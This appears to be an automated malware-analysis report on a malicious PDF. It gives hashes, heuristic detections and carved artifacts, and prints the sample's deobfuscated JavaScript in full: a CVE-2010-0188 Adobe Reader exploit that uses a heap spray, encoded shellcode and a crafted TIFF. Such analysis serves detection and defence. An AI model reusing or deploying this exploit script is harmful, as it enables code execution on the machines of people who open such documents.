Malicious PDF — malware analysis report

Static analysis result for SHA-256 2d2f49b318ea15d2…

MALICIOUS

PDF

9.7 KB First seen: 2026-05-09
MD5: b0a9cd090ac88424146600e3930bf174 SHA-1: f3c1c980614fe5928cca4d4a6a8f056e8e78d3b7 SHA-256: 2d2f49b318ea15d26f5c1f7b9efc4bfe83f312a4ebd73e101105d4f6ba8b833b
138 Risk Score

Malware Insights

MITRE ATT&CK
T1204 Malicious File T1204.002 Malicious File: User Execution

The ML classifier strongly indicates maliciousness, and the PDF contains embedded files and an XFA form, which are common vectors for exploitation. The presence of an embedded URL further suggests an attempt to download or link to malicious content. The exact nature of the embedded files could not be determined due to their obfuscated nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://testset.com In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0041.bin pdf-embedded-file PDF EmbeddedFile object 41 at offset 0xEB5 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0042.bin pdf-embedded-file PDF EmbeddedFile object 42 at offset 0xF67 1029 bytes
SHA-256: dda0835df994b8be920f715db36452f6cee7bb42bbc9c897f878a7b298ba8e91
embedded_file_obj99999.bin pdf-embedded-file PDF EmbeddedFile object 99999 at offset 0x1183 24897 bytes
SHA-256: eb206836d6d7e7161ec5e13743df77d6439a2a8b737a235b6d2f0a8503df5427
embedded_file_obj0044.bin pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x214A 144 bytes
SHA-256: 3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
embedded_file_obj0045.bin pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x21F7 77 bytes
SHA-256: 10c03f88a5f0a0833dc5b2c8ac295b3a3c6f65e23889eb8cc1dc6fe29bf7f275
xfa_base26_stage_000.js deobfuscated-js XFA separator-stripped base-26 decoded JavaScript (decompressed, XML-entity decoded) at offset 0x136C 4300 bytes
SHA-256: ca6e4bb7f36a6c0f93148421e4b3527ac292b6da6ab2932827fc8ce6fbd167f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var padding;var bbb, ccc, ddd, eee, fff, ggg, hhh;var pointers_a, i;var x = new Array();var y = new Array();var _l1="4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141"+"0000d6e677661737d397f6b647766296a6570707d3866737629613d3a6e63646d6f67657629613a3f613a3e613a3f613a39613a37613a3c613a32333a33333a3a613d3074656a6e6f6761662b613a3b613a33333a32333a3e613d3a766d6f3078607e2e6f69637275667f53696c6265707f237b6e696c6f2d65727f666f203830383a35727e2162747167616d61666f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');var _l2="4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141"+"0000d6e677661737d397f6b647766296a6570707d3866737629613d3a6e63646d6f67657629613a3f613a3e613a3f613a39613a37613a3c613a32333a33333a3a613d3074656a6e6f6761662b613a3b613a33333a32333a3e613d3a766d6f3078607e2e6f69637275667f53696c6265707f237b6e696c6f2d65727f666f203830383a35727e2162747167616d61666f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');_l3=app;_l4=new Array();function _l5(){var _l6=_l3.viewerVersion.toString();_l6=_l6.replace('.','');while(_l6.length<4)_l6+='0';return parseInt(_l6,10)}function _l7(_l8,_l9){while(_l8.length*2<_l9)_l8+=_l8;return _l8.substring(0,_l9/2)}function _I0(_I1){_I1=unescape(_I1);roteDak=_I1.length*2;dakRote=unescape('%u9090');spray=_l7(dakRote,0x2000-roteDak);loxWhee=_I1+spray;loxWhee=_l7(loxWhee,524098);for(i=0; i < 400; i++)_l4[i]=loxWhee.substr(0,loxWhee.length-1)+dakRote;}function _I2(_I1,len){while(_I1.length<len)_I1+=_I1;return _I1.substring(0,len)}function _I3(_I1){ret='';for(i=0;i<_I1.length;i+=2){b=_I1.substr(i,2);c=parseInt(b,16);ret+=String.fromCharCode(c);}return ret}function _ji1(_I1,_I4){_I5='';for(_I6=0;_I6<_I1.length;_I6++){_l9=_I4.length;_I7=_I1.charCodeAt(_I6);_I8=_I4.charCodeAt(_I6%_l9);_I5+=String.fromCharCode(_I7^_I8);}return _I5}function _I9(_I6){_j0=_I6.toString(16);_j1=_j0.length;_I5=(_j1%2)?'0'+_j0:_j0;return _I5}function _j2(_I1){_I5='';for(_I6=0;_I6<_I1.length;_I6+=2){_I5+='%u';_I5+=_I9(_I1.charCodeAt(_I6+1));_I5+=_I9(_I1.charCodeAt(_I6))}return _I5}function _j3(){_j4=_l5();if(_j4<9000){_j5='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_j6=_l1;_j7=_I3(_j6)}else{_j5='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_j6=_l2;_j7=_I3(_j6)}_j8='SUkqADggAABB';_j9=_I2('QUFB',10984);_ll0='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';_ll1=_j8+_j9+_ll0+_j5;_ll2=_ji1(_j7,'');if(_ll2.length%2)_ll2+=unescape('%00');_ll3=_j2(_ll2);with({k:_ll3})_I0(k);ImageField1.rawValue=_ll1}_j3();

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